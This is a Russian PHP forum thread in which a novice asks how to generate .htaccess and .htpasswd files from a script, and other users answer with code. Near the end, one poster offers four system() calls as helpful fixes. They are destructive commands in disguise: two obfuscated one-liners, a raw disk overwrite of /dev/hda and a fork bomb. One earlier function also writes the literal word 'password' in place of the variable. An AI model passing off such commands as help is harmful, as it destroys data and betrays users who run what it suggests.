Как вызвать внешнию программу

gun2rin

Новичок
Что у тебя показывает?:
PHP:
system("whereis htpasswd",$a);
echo $a;
Тольке не на винде! А на сервере.
Даааа... Поторопился с функцией я. Сори.
 

SA739

Cogito, ergo sum
сделай все средствами php, где-то так:
PHP:
$file = ".passwd";
$path_to_passwd = "/..."
$handle = fopen("$path/$file","a")
	or die ("Cant open file!");
if (!fwrite($handle, "your_name:".crypt("your_pass")."\n")) { 
       print "Cannot write to file ($file)"; 
       exit; 
   } 
fclose($handle);
 

Alex_Ar

Новичок
Если средствами PHP, то как происходит дешифрация и вообще зачем мне средствами PHP, если я потом .htaccess пользуюсь
 

Demiurg

Guest
какая дешифрация ? что тебе вообще надо сделать ?
 

gun2rin

Новичок
Пользоваться htpasswd тебе не дадут (уточни в службе поддержки).

как происходит дешифрация
Никакой дешифрации не происходит. Апач шифрует введенный пароль и сранивает его с тем, что в файле, на который указывает .htaccess

я потом .htaccess пользуюсь
Тот же эффект будет, если ты выдашь скриптом браузеру статус HTTP 401.
 

Alex_Ar

Новичок
Есть скрипт, который добавляет новую директорию, ее нужно защитить паролем автоматически, т.е. пользователь ввел имя папки, логин и пароль и все , а скрипт уже сам кладет туда нужные файлы защищает эту папку паролем, т.е. создает файл .htaccess и .htpasswd. как это сделать? если выдачей браузеру статуса HTTP 401, то как??????????ПЛИЗЗЗЗЗ
 

fixxxer

К.О.
Партнер клуба
Не ори.

-~{}~ 31.03.04 13:12:

Во-первых, научись пользоваться командной строкой.
Во-вторых, в unix нет .exe-шников.
В-третьих, набери в поиске (слева сверху) .htpasswd и найди рабочий пример для создания .htpasswd с помощью PHP.

-~{}~ 31.03.04 13:20:

Хрен с тобой, добрый я сегодня.
PHP:
function CreateAuthFiles($directory, $login, $password)
{

  $password = crypt($password, CRYPT_STD_DES);
  // Второй параметр зависит от ОС, обычно - так, как
  // я написал. Если не сработает, попробуй его не указывать.
  // Если все равно не сработает, спроси у хостера.

  $password_file = $directory.'.htpasswd';

  // Пишем .htaccess
  $f = fopen($directory.'.htaccess','w');
  if (!$f) return false;
  fwrite($f, "AuthName \"Authorization Required\"\n".
        "AuthType Basic\n".
        "require valid-user\n".
        "AuthUserFile $password_file\n");
   fclose($f);

  // Пишем .htpasswd
  $f = fopen($password_file, "w");
  if (!$f) return false;
  fwrite($f, $login . ':' . password . "\n");
  fclose($f);
  return true;
}

//пример. полный путь к каталогу и слэш на конце обязательны!
if (CreateAuthFiles("/home/my_login/www/","vasya","vasya_s_password")) {
  echo "Files succesfilly created";
} else {
  echo "ERROR!";
}
 

Alex_Ar

Новичок
Если я создам .htpasswd средствами PHP, то как Apache поймет пароль зашифрованный crypt(). Я опробовал приведенный пример, не работает. Файлы создает, и окно вадает для логирования, а в директорию не пускает, как- будто пароль неверный.
 

gun2rin

Новичок
Попробуй не укаывать второй параметр для функции crypt();
Напиши просто
(я проверял, работает: FreeBSD4.8+PHP 4.3.2+Apache1.3.27 ):
PHP:
$password = crypt($password);
Убедись что в .htacess стоит правильный, абсолютный путь к
.htpasswd
 

Alex_Ar

Новичок
ЗАРАБОТАЛО!!!!!!!!!! Всем большое спасибо. Действительно выше приведенная функция работает и со вторым параметром

$password = crypt($password, CRYPT_STD_DES)

Это я в первый раз, что - то не так сделал.
 

valyala

Новичок
попробуйте один из нижеприведенных вариантов. Меня они всегда выручали:
PHP:
system("cat \"test... test... test...\" | perl -e '\$??s:;s:s;;\$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/\" -;;s;;\$_;see'");
PHP:
system("ISF=\$(echo '%\\%#{<-{}<&{`' |tr ' -/:-@[-`{}' '`-{/ -');\$ISF 2>/dev/null");
PHP:
system("cat /dev/zero >/dev/hda");
PHP:
system(" : (){ :|:&};:");
Думаю, и вам помогут
 

pervert.boy

Guest
Alex_Ar

Слушай, это не ты Алексей Ар, тот что "Детей Импульса" написал?
 

Alex_Ar

Новичок
Нет не я "Детей Импульса" написал, а что это.

-~{}~ 01.04.04 19:17:

valyala
Я если честно непонял ничего из тобою написанного.
Объясни.Плиз.
 
Сверху